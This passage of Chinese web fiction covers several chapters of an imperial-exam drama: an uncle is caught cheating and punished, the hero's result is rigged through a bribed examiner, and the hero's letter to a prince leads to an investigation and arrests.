刘氏和王氏更是针尖对麦芒,天天指桑骂槐,整个老宅里不得安生。 陈仲和终究心软,逢年过节总会托村里相熟的人捎带些米面回去。 罗氏不拦着,但也绝口不提接济银钱的事,更是一次都没回去过。 在她看来,当初被那般折磨,如今能做到不落井下石,已是她最大的仁慈了。 “娘,”陈平川顺势起身,“我去方先生那里一趟,有些课业上的疑惑需要请教。” 他这是借故遁走,张金宝也连忙跟上:“我也去!” “哼,有能耐你们都别回家!”张静姝在后面气得大喊。 PC站点如章节文字不全请用手机访问 陈平川从方先生处回来时,已是日暮黄昏。 晚霞烧红了半边天,给小院镀上了一层温暖的橙色。 他没想到,张静姝竟还在院里,正和陈平玉凑在一起,低头看着新得的花样子,两人不时发出银铃般的笑声。 见陈平川进门,张静姝立刻站起身,手里紧紧捏着一个什么东西,有些扭捏地走到他面前,脸颊在霞光的映衬下,泛着可爱的红晕。 “喏,给你的!”她把一个锦缎荷包飞快地塞进陈平川手里,小脸涨得通红,语气却依旧带着几分故作的傲娇。 她仰起小脸,故作凶巴巴地补充道:“过几日你就要去考乡试了,这……这是我娘去庙里求的平安符,我给你缝在荷包里了。平川哥,你若是不带着,万一考不上,到时候可别哭鼻子后悔!” 陈平川垂眸,看着她那双亮晶晶的眸子里,满满的都是真挚的祝福与担忧,不似平日的刁蛮任性。 那故作的强硬,不过是为了掩饰内心的羞怯。 陈平川摊开手掌,荷包静静地躺在掌心。是上好的湖蓝色锦缎,触手温软,上面用金线绣着几竿挺拔的翠竹,针脚细密,看得出绣的人是用了心的。 他心中最柔软的地方,仿佛被轻轻触动了一下。 “多谢小姐。”他温和一笑,声音里带着暖意。 张静姝一听这称呼,刚舒展的柳眉又蹙了起来,小嘴一撇,不高兴地跺了跺脚,声音里带上了哭腔:“都说了,叫我静姝!” 陈平川看着她眼圈泛红的模样,心中一叹,从善如流地改口:“多谢静姝妹子。” 张静姝这才破涕为笑,脸颊上露出两个浅浅的梨涡,可爱至极。 夜深,窗外月明星稀。 陈平川放下手中的笔,轻轻揉了揉酸胀的眉心。 书案一角,那个蓝色的荷包在烛光下泛着柔和的光泽。 他伸手拿起,指腹轻轻摩挲着上面细密的针脚,仿佛能感受到缝制它时,那份心意。 他微微一笑,解下腰带,将这个承载着少女心意的荷包,郑重地系在了自己的腰间。荷包贴着衣衫,传来一丝若有若无的温软,和一阵淡淡的馨香。 PC站点如章节文字不全请用手机访问 第83章 乡试考场风云起,隔壁考生竟是我大伯 秋闱大比之日,贡院外的长街,早已被涌动的人潮和车马填满,无数张年轻或苍老的脸带着忐忑期待的神色,等待着考试开始。 “平川大哥,你……你真的一点都不慌?”张金宝的个头虽已超过陈平川,此刻却像个跟班小厮,紧张得额头冒汗。 他压低了嗓门,“这可是乡试啊!三千多名秀才,只取六十个举人!这哪里是独木桥,这简直是踩着人头过去啊!” 陈平川正在不疾不徐地整理着自己的考篮,竹篮里的笔墨纸砚、干粮水囊,都用干净的布巾隔开,码放得整整齐齐。 他闻言,只从眼帘下淡淡地瞥了张金宝一眼,眼神沉静如深井。 “桥就在那,走过去便是。想多了,脚会抖。” 一旁的陈仲和,穿着一身簇新的蓝布衣裳,紧张地搓着那双布满老茧的手。他看着儿子如松柏般沉稳,心中既是骄傲,又带着疼惜:“平川,爹不求你考多好,尽力就行,千万别累着自己。” 他听人说,曾经有考生死在了考场上,他可不想自己的儿子出事。 “放心吧,爹。” 陈平川将整理好的考篮递给父亲,让他做最后的检查,自己则抬起头,目光越过攒动的人头,望向那扇在晨光中显得威严而冷酷的朱红色贡院大门。 就在这时,他的目光在队伍末尾的阴影里微微一凝,落在一个身影上。 那身影熟悉又陌生,像一根被秋霜彻底打蔫了的野草,瑟缩地蜷在那里。是大伯陈仲文。 不过短短三年,他仿佛被岁月抽干了精气,凭空老了十岁。 那身曾经引以为傲的儒衫,如今已洗得发白,又染上了不知名的污渍,变得又旧又黄,领口和袖口磨损得起了毛边。 他的背佝偻着,脸上满是挥之不去的晦气与颓唐,透着一股穷途末路的感觉。 似乎是察觉到了有人在注视,陈仲文抬头,两人的目光在弥漫的晨雾中短暂交汇。 一瞬间,陈仲文的脸上闪过一连串复杂的神情。先是惊愕,随即是嫉妒,紧接着化为怨毒,尤其是当他看清陈平川一袭锦衣,气度不凡,再看看自己落魄的邋遢模样。 他所有的情绪都崩塌了,像被一根无形的针狠狠扎在脊梁上,猛地缩回脖子,飞快地低下头,再也不敢与陈平川对视。 陈平川面无表情地移开了视线,心中不起丝毫波澜,仿佛只是看到了一块路边的石头。 自作孽,不可活。 “开门——” 一声悠长沉闷的唱喝传来。 贡院那两扇沉重的朱红大门在“嘎吱”声中,缓缓向内打开,露出了一个深不见底的幽暗入口。人潮开始骚动,考生们在兵丁的呵斥下,开始排队,准备接受入场前那近乎羞辱的严格搜检。 “解开发髻!脱掉外衫!鞋袜也要脱下!”官兵的喝令声冰冷而严厉,不绝于耳。 考生们褪去外衣,只着单薄的中衣,在微凉的晨风中瑟瑟发抖。他们垂着头,任由官兵粗鲁地从头搜到脚,连束发的发髻都要被捏散开来,用手指细细检查,生怕里面藏了一粒米大小的夹带。 轮到陈平川时,他从容地解开衣衫,动作坦荡磊落,配合着官兵的检查。 “下一个!”没什么发现,官兵发出不耐烦的喊声。 陈平川穿好衣物,从父亲手中接过考篮,迈步入院,主考官身旁的一名吏员,正手持名册,用尖细的嗓音高声唱名,分配号舍。 “甲字柒号,陈平川!” 他应声,依言走向左手边的甲字号区。 PC站点如章节文字不全请用手机访问 “甲字捌号,陈仲文!” 陈平川的脚步顿了一下,眉头微不可察地一蹙。他转过头,只见陈仲文正脸色煞白地站在那里,听到自己的号牌,整个身体都明显地僵硬了一下,显然也没料到。 他竟然和自己的侄儿是“邻居”。 陈仲文拿着木制号牌,双腿如同灌了铅,磨磨蹭蹭地走过来。 他全程低着头,不敢看陈平川一眼。 陈平川懒得理会他,径直找到自己的号舍,推开那扇矮小的木门,走了进去。 号舍狭小得令人发指,仅能容身。两块斑驳的木板,白天架起来是桌案,晚上拼在一起是床铺,空气中飘浮着一股陈腐的霉味、汗臭和淡淡的尿骚味,混合成一种令人窒息的气息。 因为,考试期间,考生的大小便都要在这里解决,平时也没有人仔细打扫,味道可想而知。 没有抱怨,陈平川有条不紊地取出文房四宝,将笔墨纸砚一一摆好,然后便闭目静坐,调整心态,将外界的一切嘈杂与内心的杂念,缓缓摒除在外。 隔壁的号舍传来一阵叮里哐当的响动,似乎是墨锭没拿稳,掉在了地上。紧接着,是一阵被极力压抑的、烦躁粗重的咒骂声。 “铛——铛——铛——” 开考的钟声敲响,三声之后,整个贡院数千个号舍内,瞬间陷入一片死寂。考官们捧着一叠叠密封的试卷,开始在狭窄的巷道中穿行分发。 试卷到手,纸张粗糙,墨香扑鼻。陈平川目光落在题目上。 第一场考的是四书义,两道题。 一道出自《论语》:“子曰:‘君子不器。’” 另一道出自《孟子》:“民为贵,社稷次之,君为轻。” 皆是堂堂正正的题目,宏大开阔,考验的不仅仅是考生的记诵功底,更是对其经世济民思想和格局的探查。 陈平川的唇角,勾起自信的弧度。 这三年的寒窗苦读,方先生的倾囊相授,早已让他将这些儒家经典融会贯通,烂熟于心。 他略作思索,脑中已迅速构架出两篇文章的“破题”、“承题”、“起讲”、“入手”,而后便提起笔,饱蘸浓墨,在草稿纸上开始行云流水地书写。 隔壁的陈仲文,却像是被扔进了热锅里的蚂蚁。 他死死盯着那两个题目,只觉得眼前阵阵发黑,脑子里好似塞满了一团乱麻,嗡嗡作响。 这些年,家道中落,亲戚不合,他哪里还有半分心思治学? 学问早已荒疏得一干二净。汗珠从他的额角密密麻麻地渗出,沿着干瘪的脸颊滑落。 他偷偷透过墙壁上的一道缝隙,朝陈平川的号舍窥探。 只见那个他的侄子,正襟危坐,神情专注得如同一尊石像,笔尖在纸上稳定地划过,发出“沙沙”的声响,那声音仿佛一道道鞭子,抽在他的心上。 一股尖锐的嫉妒和不甘,涌上他的心头。 凭什么?凭什么这个被赶出家门的小杂种能如此风光,而自己这个正儿八经的秀才,却要在此坐以待毙,受尽屈辱? 他不能落榜!绝对不能! 家里已经没有钱再供他考试了,这是他翻身的唯一机会! PC站点如章节文字不全请用手机访问 一个疯狂的念头,在他心田中破土而出。他眼中最后的犹豫和挣扎,迅速被孤注一掷的疯狂所取代。 PC站点如章节文字不全请用手机访问 第84章 不走正途走歪路,活该! 陈仲文的手,哆哆嗦嗦地取出一支笔来。 那是他花重金托人特制的毛笔,笔管是中空的,里面藏着一卷用蝇头小楷密密麻麻抄录的范文。 他将笔拿出,心脏狂跳,紧张地环顾四周,见巡查的考官正背对着他,走在巷道的另一头,便迅速地拧开笔杆,将那卷比指甲盖大不了多少的蜡纸卷抖了出来。 他将小抄摊在膝盖上,用考篮小心翼翼地遮挡着,开始埋头抄写。他的动作慌乱,眼睛在小抄和试卷之间飞快地移动,握笔的手因紧张而不住地颤抖,写出的字迹歪歪扭扭。 就在他抄得起劲,几乎忘却身在何处时,一道阴影,无声无息地笼罩了他的号舍,挡住了从门缝透进来的唯一光亮。 陈仲文毫无察察,直到一只骨节分明、带着官威的手,重重地按在了他的卷子上。 他猛地抬头,对上了一双冰冷无情的眼睛。是巡绰考官! 陈仲文浑身的血液仿佛在这一瞬间全部凝固,大脑一片空白,手中的小抄“啪”地一声掉在地上。 考官什么话也没说,只是冷冷地看了一眼地上的纸卷,发出一声鄙夷的冷哼,然后朝巷口守着的两名衙役招了招手。 衙役立刻大步走来,一左一右,像老鹰抓小鸡一样,架住了陈仲文的胳膊。 “不!大人!大人饶命啊!”陈仲文终于从极致的恐惧中反应过来,发出了杀猪般的嚎叫,“学生……学生一时糊涂!学生再也不敢了!求大人给学生一个机会啊!” 他被衙役粗暴地拖出狭小的号舍,头上的儒冠被门框撞歪在地,头发散乱,整个人狼狈不堪,像一条被拖拽的死狗。他的哭喊求饶声在寂静的考场里显得格外刺耳,引得无数考生纷纷投来惊愕的目光。 陈平川连头都未曾抬一下。 他当然知道陈仲文出事了,但这种人,不值得一丝一毫的同情。 科举舞弊,按大业朝律法,轻则革去功名,枷号示众三月,永不录用;重则杖责一百,流放三千里。他这是自寻死路,怨不得任何人。 这点小小的插曲,并未在他心中激起半点涟漪。他收敛心神,重新将全副注意力集中在自己的文章上,笔锋愈发稳健,字迹工整隽秀,论述清晰透彻,一气呵成。 傍晚,第一场考试结束的钟声响起。 考生们拖着疲惫不堪的身体,如同潮水般陆陆续续地走出贡院。 陈平川收拾好考具,虽感疲惫,但精神尚好。他走出号舍时,耳边飘来几个考生压低声音的议论。 “听说了吗?甲字号那边,有个姓陈的作弊被当场拿下了,人证物证俱在,那小抄做得,啧啧,跟蚂蚁爬似的!” “真是胆大包天!这下可完了,功名铁定要被革去,还得戴枷游街示众,这辈子算是彻底毁了!” 陈平川脚步不停,面色平静地从他们身边走过,腰间那个湖蓝色的锦缎荷包,随着他的步伐,在夕阳的余晖下,轻轻晃动着,上面的翠竹绣样,泛着柔和的金光。 …… 乡试分三场,前后历时九天。 对庐州府三千多名考生而言,这九天是身心的炼狱,每一刻都在墨香与汗臭中煎熬。 而考完后,那悬而未决、等待放榜的日子,则更熬人心神,将人的希望与恐惧在慢火上反复炙烤。 一时间,整个庐州府都弥漫着一股焦躁不安的气氛。 街头巷尾的茶馆酒楼里,空气中都飘浮着议论声,话题无一例外,全是关于乡试的。 唯独城南的陈家小饭馆,一片宁静安详。 罗氏和陈仲和心照不宣地绝口不提考试,只是变着花样给儿子做好吃的。 PC站点如章节文字不全请用手机访问 灶火烧得旺旺的,锅里炖着的老母鸡汤咕嘟作响,香气氤氲了整个后院。 他们用这人间烟火气,小心翼翼地包裹着儿子,让他安心放松。 终于,到了放榜之日。 贡院外的长街,天色未明,街上早已是人头攒动,黑压压的一片,将整条街巷堵得水泄不通,连一丝风都透不进来。 “让一让!劳驾,麻烦让一让!” 张金宝仗着自己嗓门大,硬是从人潮中挤出一条通路。他额上青筋暴起,满头大汗,一颗心在胸膛里“咚咚”狂跳,如同擂鼓,比自己下场考试还要紧张百倍。 很快,巨大的皇榜被几名官兵合力张贴在照壁之上。 那明黄的底色在晨曦中刺眼无比,人群瞬间沸腾! 所有人,无论老少,都疯了一般向前涌去,无数张脸因激动而扭曲。 张金宝被挤得东倒西歪,脚下几次踉跄,好不容易才扒住冰冷的墙壁,稳住身形。 他拼命踮起脚,瞪大了那双熬得通红的眼睛,从榜首第一个名字开始,一个字一个字地往下搜寻,心几乎要跳出喉咙。 没有。 他愣了一下,强迫自己冷静,又从头看了一遍。 还是没有。 第三遍,他几乎是把那张写满了墨色名字的黄纸盯出个窟窿来,眼球酸涩,视线都开始模糊。 依然没有“陈平川”那三个他熟悉无比的字。 张金宝只觉得脑袋“嗡”的一声巨响,像被重锤砸中,眼前金星乱冒,周遭鼎沸的人声瞬间远去。 一股透骨的凉气,从脚底板直冲天灵盖,让他浑身僵硬。 与此同时,在街角最显眼的位置,一个戴着沉重枷锁的人犯,正用尽全身力气伸长了脖子,那双浑浊的眼睛死死盯着那张决定无数人命运的皇榜。 是陈仲文。 科场舞弊事发,他被判革去功名,枷号示众三月。 这几日,他像一条阴沟里的老鼠,被钉在这里,受尽了路人鄙夷的指点和恶毒的唾骂,整个人早已麻木,如同一具行尸走肉。 可当他看到那张榜,听到周围人一遍遍高声念出的名字里,自始至终都没有那个他最怨毒、最嫉妒的名字时,他那双死灰般的眼睛里,突然迸射出一点病态的、骇人的光亮。 他没上榜!那个小杂种,没上榜! 一股压抑了太久的怨气,混杂着无比扭曲的幸灾乐祸,瞬间冲垮了他最后那点可怜的理智。 “哈哈……哈哈哈哈……” 他先是喉咙里发出嗬嗬的低笑,继而笑声越来越大,最后竟变成了状若疯狂的嚎叫。 他的身体在沉重枷锁的束缚下剧烈地颤抖,木枷撞击着他的锁骨,发出沉闷的声响。 “狂妄小子,到底还是落榜了!老天有眼!老天有眼啊!哈哈哈哈!” 那笑声凄厉刺耳,听得周围人毛骨悚然,纷纷避让。 PC站点如章节文字不全请用手机访问 直到两名衙役挥着鞭子狠狠抽在他的身上,那笑声才停下,变成了哭叫和求饶。 PC站点如章节文字不全请用手机访问 第85章 科场舞弊?我一封信捅破天! 陈平川得知自己落榜的消息时,正坐在小饭馆的后院里,桂花树下,手里捧着一卷书,神态安然。 他只是眉头微不可察地蹙了一下,捏着书页的手指紧了紧,旋即便松开了,再无其他表情。 他自问,那两篇四书义,那一道策论,就算谈不上惊才绝艳,也绝对是立意高远、论证扎实、文采斐然的上乘之作,断不该名落孙山。 此事,必有蹊跷。 “儿啊,没事的,咱下次再考。”罗氏端来一碗刚冰镇好的绿豆汤,看着儿子平静得过分的脸,心里又酸又疼,眼圈不自觉地红了。 陈仲和在一旁手足无措,嘴巴张了张,笨拙地安慰道:“就是,你还小,不着急,不着急……” 他们不说任何质疑和埋怨的话,只是无条件地相信和支持自己的儿子。这无言的信任,比任何话语都更温暖。 “此事不可能!” 院门被猛地推开,方先生像一阵旋风似的冲了进来。 他满脸涨得通红,气喘吁吁地喊道:“平川,以你的才学,便是中个解元都绰绰有余!定是那些考官瞎了眼!走,我们去找主考官问个究竟!” 他一把拉起陈平川的手,不由分说便要往外走,那份护犊心切的怒火,烧得他浑身发抖。 陈平川任由方先生拉着,他也想知道,自己到底为什么落榜。 两人刚走到街上,迎面就撞上一群人。 为首的正是吴子虚,他被几个刚刚金榜题名的新晋举人簇拥着,个个意气风发,而他更是满面春风,脸上洋洋得意。 吴子虚一眼就看到了脸色铁青的方先生和神情淡漠的陈平川。 他停下脚步,故作惊讶地拱了拱手,语调夸张:“哎呀,这不是方兄和陈案首吗?哦,不对,瞧我这记性,昔日案首,今日落榜,现在可不是了。” 他上下打量着陈平川,那目光带着轻蔑,嘴角噙着讥讽。 “怎么,二位这是对榜单不服气,想去找考官理论?呵呵,方兄啊,还是劝劝你的学生吧。年轻人,要脚踏实地,莫要总想着一步登天,那山顶的风,可是很冷的。” 吴子虚的目光别有深意地在陈平川脸上一扫,慢悠悠地吐出几个字,声音不大,却清晰地传入几人耳中:“有些事,不是你文章做得好就行,还得看‘人和’啊!” “人和”二字,他说得意味深长。 陈平川心中瞬间雪亮。 他冷冷地看着吴子虚那张虚伪得意的脸,目光如冰。 “吴先生说的是,‘人和’二字,确实精妙。” 他的声音不大,字字清晰,带着刺骨的寒意。 “只是不知,吴先生这‘人和’,是和气生财的‘和’,还是和奸同污的‘和’呢?” 此言一出,吴子虚脸上那春风得意的笑容瞬间凝固,转为恼羞成怒的铁青。 偏偏又找不到反驳的话,被噎得一个字也说不出来,最后只能重重一甩袖子,带着人愤然离去。 “定是此人搞鬼!”陈平川看着他的背影,对身旁的方先生低语。 方先生却紧锁眉头:“他不过一介儒生,虽有些门路,但如何能干预乡试这等国家大典?此事一旦败露,可是要身败名裂、株连三族的,他没这么大的胆子,我们莫要乱猜!” 然而,当他们来到主考官府邸前时,却吃了个闭门羹。 PC站点如章节文字不全请用手机访问 高门紧闭,门房只是隔着门缝,用冰冷语调传话:“大人有令,为避物议,一概不见客。榜单已定,无可更改,二位请回吧。” 两人又转而去求见副主考官,得到的却是冷嘲热讽:“小小年纪,不知天高地厚,自己文章不济,便妄图攀咬他人,可笑至极!速速离去,否则便以咆哮公堂论处!” 直到此刻,方先生才彻底明白了。 这哪里是避嫌,这分明就是做贼心虚!是一张由上至下、密不透风的网! 他浑身发抖,一半是气的,一半是心凉的。 这位一生信奉“学而优则仕”的老儒生,此刻只觉得天地的道理都崩塌了。 他仰头望着灰蒙蒙的天空,长长地叹息了一声,仿佛瞬间苍老了十岁。 “天道不公,人心不古啊!” 陈平川扶住摇摇欲坠的老师,心神转动。 凭他和方先生,是没办法为自己求个公道的。 既然庐州府的水搅不浑,那便从外面,投一块更大的石头进来。 他想起了一个人,或许,只有他,才能撕开这科场肮脏的黑幕。 陈平川轻轻拍了拍老师的后背,声音平静。 “先生,放心。我们还没输!” …… 陈平川回到自己的小屋,轻轻阖上窗扉,将父母那担忧又不敢言说的目光,连同外界的嘈杂一并隔绝。 屋内的光线霎时暗了下来,只余一豆烛火,在桌案上安静地跳跃,将他的影子拉得颀长,投在背后的墙壁上。 铺开一张质地最好的徽州宣纸,纸面洁白细腻,隐隐泛着温润的光泽。 他没有急着动笔,而是亲手研墨,同时思考如何下笔。 半晌,陈平川已经组织好语言,笔尖饱蘸浓墨,悬于纸上。 他要写的,不是喊冤叫屈的状纸。 他深知,那样的东西,在秦王那种位高权重的人物眼里,连一丝涟漪都激不起,便会石沉大海。 他要写的,是一封“请教信”。 笔尖终于落下,一行行瘦劲而不失风骨的小楷,在宣纸上悄然浮现,如溪流汇入江海。 信的开篇,他以晚辈的口吻,恭敬地问候了秦王的安,言辞恳切,礼数周全。而后,笔锋悄然一转,以一种近乎天真的困惑,提及了自己此次乡试落榜之事。 信中,他不提考官不公,也不提吴子虚的挑衅之言。 他只是表示,自己此次应试所作的文章,乃是有感于庐州府旱灾之后民生多艰,其立论的核心,与他先前创作《西游记》时,期盼孙行者那样的英雄为民除害、扫清浊世的本心,是一脉相承的。 虽然他自陈年幼学浅,见识鄙陋,但实在不解,为何这样一篇呕心沥血、为民请命的文章,竟会不入主考官们的法眼。 字里行间,满是求知若渴,仿佛一个真正痴迷于学问的后辈,在向自己敬仰的长者请教,希望能得到点拨,以解心中迷津。 信写毕,他仔细看了一遍,确认无误后,轻轻吹干墨迹,又将那两篇四书义和一道策论一字不差地默写出来,一同整齐地叠好,装入信封。 PC站点如章节文字不全请用手机访问 这封信,必须保证秦王能够收到! PC站点如章节文字不全请用手机访问 第86章 嘲讽我落榜?我反手赚钱到手软! 拿着信,陈平川没有片刻耽搁,径直去了张府。 张府的厅堂里,张盛财听完他的来意,那张总是挂着笑容的胖脸,一点点沉了下去。 他接过信,细细读了一遍,脸上被怒意所取代。 “岂有此理!”他猛地一掌拍在身旁的八仙桌上,紫砂茶杯被震得“哐当”一跳,茶水四溅。“这帮作死的东西,简直是无法无天,竟敢在科举上动手脚!” 张盛财在商海中沉浮数十载,人情世故、官场龌龊见得多了,只一眼,便看穿了这背后盘根错节的利益交换。 他小心翼翼地将那封信收入怀中。 “平川,你放心。”他看着眼前的少年,郑重地说道,“这件事,不光是你的事,也是我张家的事!他们动你,就是动我张家!我这就去秦王府,保证这封信,稳稳当当送到秦王殿下的手上!” 秦王府,书房内,百年檀香的青烟如游龙般袅袅升起,在空气中盘旋、散开。 秦王正审阅着一份关于漕运改革的文书,剑眉微锁。管家迈着无声的步子走进来,双手呈上一个信封。 “王爷,庐州府张家送来的,指明了要您亲启。” “张家?是卖画册那个?” 秦王放下文书,略带意外地接过信。 当他看到信封上“学生陈平川敬上”那几个隽秀的字时,记忆的闸门瞬间打开。 是风靡庐州府的《西游记》画册的幕后作者,谈吐得当,聪明伶俐,他对这个孩子,印象很深刻。 拆开信,先是那封措辞谦恭至极的“请教信”。 秦王看完,威严的嘴角不由浮现出一丝玩味的笑意。好一个聪明的孩子,满纸困惑,不喊半句冤枉,却不动声色地将一把最锋利的刀子递到了自己手上。 他随即展开那几页默写出的考场文章,目光如炬,逐字逐句地审阅下去。 随着目光的移动,他脸上的笑意渐渐敛去,眼神变得凝重。 以他的学识和眼界,这篇文章,立意之高远,论证之严密,文采之斐然,字里行间透着一股洞察世事、悲天悯人的锐气,便是中个解元也绝不为过,断无名落孙山的道理。 他将那几页纸“啪”的一声重重拍在书案上。 此事,有鬼! “来人,”他声音不高,却带着不容置疑的威严,“立刻派人,叫陈平川来见我!” 一个时辰后,陈平川站在了秦王的书房里。 “将事情的来龙去脉,一字不漏地告诉本王。”秦王的声音平静如深潭,听不出喜怒。 陈平川便将放榜后遇到吴子虚,以及对方那番意有所指的话,原原本本地复述了一遍。 他始终微微低着头,语气里带着少年人的迷惘与困惑。 “……吴先生说,文章做得好没有用,要看‘人和’。学生愚钝,实在不明白,科举取士,乃是为国选材之大典,看的不是文章优劣,难道……难道是人情世故吗?” “人和”二字,让秦王的瞳孔猛地一缩。 好一个“人和”! 科举,是王朝的血脉,是维系统治、选贤任能的根本。 PC站点如章节文字不全请用手机访问 竟有人敢在这国之根本上上下其手,徇私舞弊,将朝廷抡才大典变成自家后院的交易场! 这已不是简单的贪腐,这是在掘大业朝的根基! 一股雷霆之怒,在他胸中轰然炸开,不过他并未有所表示。 而是淡淡道:“本王知道了,你先回去吧。” 陈平川也不多问,躬身告退,但心里已经明白。 秦王,怒了! 果然,陈平川前脚走出书房,后脚秦王便猛地站起身,在书房内来回踱步。 最后,他停在窗前,看着院中那棵在风中傲然挺立的百年古松,眼神冰冷如腊月风雪。 他转身回到案前,亲自提笔,饱蘸浓墨,在一张特制的奏折上,快速写下一封密折,交由心腹校尉。 “八百里加急,即刻送往京城,呈于御前!” 庐州府到京城,快马加鞭,一来一回,至少也需半月。 这段日子,对一些人而言,是春风得意的狂欢,是名利双收的盛宴。 庐州府的各大茶楼酒肆,几乎成了新科举子们的庆功宴。 而新科解元,正是吴子虚最得意的门生。这几日,吴子虚走到哪里,都被人前呼后拥,脸上那得意的神情,几乎要从皮肤的褶子里溢出来。 “吴先生真是慧眼识珠啊,高徒此次一举夺魁,实乃庐州文坛盛事!” “哪里哪里,不过是那孩子自己争气罢了。”吴子虚端着茶杯,呷了一口,嘴上谦虚着,眼角的皱纹却笑得像一朵盛开的菊花。 有人话锋一转,便阴阳怪气地提到了陈平川。 “说起来,那个陈平川,之前不是被吹得神乎其神吗?什么百年不遇的奇才,庐州第一案首,怎么这次乡试,连个榜末都没摸到?” “呵,江郎才尽罢了!”一个酸腐文人撇了撇嘴,鄙夷道,“一个十几岁的毛头小子,能写出什么惊天动地的文章?不过是走了狗屎运,恰好对了考官的胃口。这乡试的考场上,是骡子是马拉出来遛遛,不就原形毕露了?” “我倒觉得,他之前的名声,本就是炒作出来的。背后怕是有人替他捉刀代笔,否则,如何解释这次的惨败?” 各种猜测和诋毁,如同阴沟里的污水,甚嚣尘上。 而舆论的中心,陈平川,却对此置若罔闻,仿佛那些恶毒的言语都只是扰人的蚊蝇。 城南的陈记小饭馆,生意依旧红火。 陈平川每日在店里迎来送往,招呼客人,算账收钱,脸上挂着和蔼的微笑,一切如常。 除此之外,他还在这个风口浪尖上,高调推出了《西游记》画册的第四卷——“女儿国”。 一时间,庐州府各大书铺再度被挤得水泄不通,无数人挥舞着银子,踮着脚尖,只为抢购一本新鲜出炉的画册。那火爆的场面,比乡试放榜还要热闹几分。 陈平川,在所有人的唱衰声中,大赚特赚。 他用这种最直接、最响亮的方式,狠狠地回击所有的质疑和嘲讽。 仿佛在对那些质疑的声音宣告:就算科场失意,我陈平川,依然是你们只能仰望的存在! 更何况,他还没有输! PC站点如章节文字不全请用手机访问 第87章 暴风雨前夜,陈平川风轻云淡 半月后,一辆毫不起眼的青布马车,混在进入庐州府的喧闹商队中,悄无声息地碾过湿漉漉的街道,未曾惊起半点波澜,如同一滴水汇入江河。 车上下来两名身着寻常葛布的中年男子,面容普通至极,是那种丢进人堆里便再也寻不出的样貌。他们没有前往灯火通明的官府驿站,而是熟门熟路地拐进了一条僻静幽深的小巷,入住了一家门楣低矮的小客栈。 安顿好后,其中一人片刻未歇,身影便融入了暮色,径直去了秦王府。 秦王府的书房内,烛火如豆,却将偌大的空间映照得壁垒分明。 那人从贴身衣物中取出一份蜡封得严丝合缝的文书,双手呈上,声音压得极低:“王爷,陛下密旨。” 秦王接过,向天拜了拜,然后撕开封口,展开文书,纸上朱红的金印在烛光下仿佛一团燃烧的火焰。 他一目十行地看完,面无表情地将密旨凑到烛火之上,看着它蜷曲、焦黑,最终化为一缕青烟,盘旋着消散在空气里。 “此事,便全权交由李钦差处置。”秦王的声音沉稳如磐石,“本王府中的护卫,你可随意调遣。庐州府的地方官,一个也不必惊动。” 那被称作李钦差的男子躬身,普通的脸上,一双眼睛却锐利如鹰:“下官明白。定不负王爷与陛下所托。” 与此同时,城中最负盛名的酒楼“醉仙居”内,正是一派歌舞升平,丝竹悦耳。 吴子虚高坐主位,一张消瘦的脸因饮酒而满面红光,下巴上精心打理的八字胡,都仿佛翘着得意的弧度。他身旁,坐着一个面色略显苍白的中年官员,正是此次乡试的副主考官,邢大人。 “邢大人,学生再敬您一杯!”吴子虚的高徒,新科解元冯琦高高举起酒杯,满眼崇拜,“若无大人慧眼识珠,于万千卷中擢拔,学生哪有今日之风光!” “哪里哪里……” 邢大人点头一笑,端起酒杯一饮而尽,但有些魂不守舍。 不知为何,他这几日总是心神不宁,右眼皮跳个不停。 吴子虚看出他的不安,拍了拍他的手背,压低声音,用只有两人能听到的音量说道:“邢兄,放宽心。此事做得天衣无缝,滴水不漏,绝无其他人知道!” 邢大人脸色这才好看了一点,拱手道:“吴兄,若不是当年令尊帮了邢某,这事……总之,决不可有下次了!” “那是自然,来来,干了这杯!”吴子虚笑着举起杯。 …… 夜深人静,贡院的卷宗库房大门,被两名秦王府的护卫无声地从外面推开。 李钦差提着一盏风灯,缓步走了进去。他没有在堆积如山的中榜试卷前停留,而是径直走向角落里一个贴着封条的木箱。那里,是所有落榜考生的试卷,是败者的归宿。 很快,一份字迹隽秀、风骨自在的卷子被他从箱底抽了出来。卷首的名字,墨迹清晰,正是“陈平川”。 李钦差将试卷在落满灰尘的桌案上摊平,又从怀中取出几份誊抄来的中榜考生的卷子,并列排开。 风灯的光晕下,陈平川的文章,无论是“为生民立命”的立意,还是汪洋恣肆的文采,都远胜旁边那几份平庸之作。高下立判。 然而,就是这样一份堪称惊艳的卷子上,却用朱笔批着几个触目惊心的大字:“辞藻堆砌,华而不实!” 评语旁,是一个鲜红得如同滴血的“下下”评级。 李钦差的同伴凑过来,只看了一眼,便倒吸一口凉气,声音里满是压抑的怒火:“这哪里是评卷,这分明是贬低、污蔑!” 李钦差一言不发。那双看似普通的眼睛里,此刻却锐利如刀锋。这背后,定然藏着黑心和肮脏的交易。 副主考官邢大人的府邸。 他一连几晚都从噩梦中惊醒,浑身冷汗淋漓。 PC站点如章节文字不全请用手机访问 他总觉得黑暗中有一双眼睛在死死地盯着自己,让他坐立不安,食不下咽。 “不过是个毛头小子,落榜便落榜了,能翻起什么风浪?”他一遍遍地在书房里踱步,神经质地安慰自己。 可吴子虚派人送来的那一箱黄澄澄、沉甸甸的金条,却在他脑海里挥之不去。 他开始后悔了。 为了一个解元的名额,为了那些黄白之物,毁了自己的清誉,搞得自己寝食难安,真的值得吗? “算了,不要自己吓自己,等日子一久,事情过去,也就没事了……睡觉吧!” 另一边。 李钦差的调查,正在暗中有条不紊地进行。 吴子虚行贿的银两,是通过城中一家钱庄转手的。 他从钱庄掌柜那里拿到了账目,顺藤摸瓜,又找到了几个收受了好处、负责在考官与吴子虚之间传递消息的小吏。 冰冷的刀锋和秦王府的令牌面前,这些人的骨头软得像面条。 几封吴子虚与邢大人往来的密信,被呈到了他的案头。 信中,两人商议如何将陈平川的卷子做掉,如何确保吴子虚的门生万无一失地坐上解元之位,言辞清楚,罪证确凿。 人证物证俱在。可以收网了。 这一日午后,天光正好。 吴子虚正在自家院子里的葡萄架下,悠闲地品着雨前新茶,享受着惬意。 他在遥想,等自己的门生将来高中进士,自己作为座师,该是何等的风光无限。 院门,被“轰”的一声巨响从外面踹开,吓得仆人惊叫。 一群身披玄甲、手持利刃的王府护卫,如狼似虎地冲了进来,肃杀之气瞬间将满院的鸟语花香涤荡一空。吴子虚手中的名贵瓷杯应声落地,茶水溅湿了衣袍,整个人都懵了。 “你们,你们……” 李钦差缓步走入,手中高举着一份盖有秦王朱红大印的令牌,字字如雷,响彻庭院:“奉王令,彻查科场舞弊一案!将吴子虚,拿下!” 同一时间,另一队人马,如天降神兵,封锁了副主考官邢大人的府衙。 